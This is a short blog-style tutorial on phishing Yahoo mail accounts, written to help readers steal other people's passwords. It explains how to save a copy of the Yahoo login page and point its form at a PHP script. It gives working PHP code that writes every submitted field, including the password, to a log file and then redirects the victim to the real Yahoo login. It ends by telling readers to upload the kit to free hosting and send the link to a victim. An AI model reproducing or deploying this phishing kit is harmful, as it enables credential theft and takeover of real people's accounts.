This is our second tutorial to phishing in which we will cover how to hack yahoo password. In this following tutorial to phishing I’ll demonstrate how to phish mail.yahoo.com
to hack yahoo account of victim. So as every other tutorial on phishing
we start it by creating fake login page. To create fake login page open
mail.yahoo.com
from your web browser and save it on your desktop as “Web Page,
Complete” with name Yahoomail. After above process you’ll have a file
named Yahoomail.htm and a folder named Yahoomail_files in folder in which you’ll save web page. Now open Yahoomail.htm in notepad, find for action word and locate following string,
action="https://login.yahoo.com/config/login?"
Once located change action string by phish.php, so that above string should appear as following,
action="phish.php"
Now step number two is to create phish.php file. Open notepad and copy following code in it,
<?php
header ('Location: https://login.yahoo.com/config/login_verify2?&.src=ym ');
$handle = fopen("log.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
Save
it as phish.php, now create an empty password log file log.txt. Now
sign up for a free webhosting service which supports php from http://www.100best-free-web-space.com/.
Now upload Yahoomail.htm file, php file, password log file and
Yahoomail_files folder to that web host. Change permission of log.txt
file to777 from settings. Now vector this phished site to victim to get
his/her password.
0 comments:
Post a Comment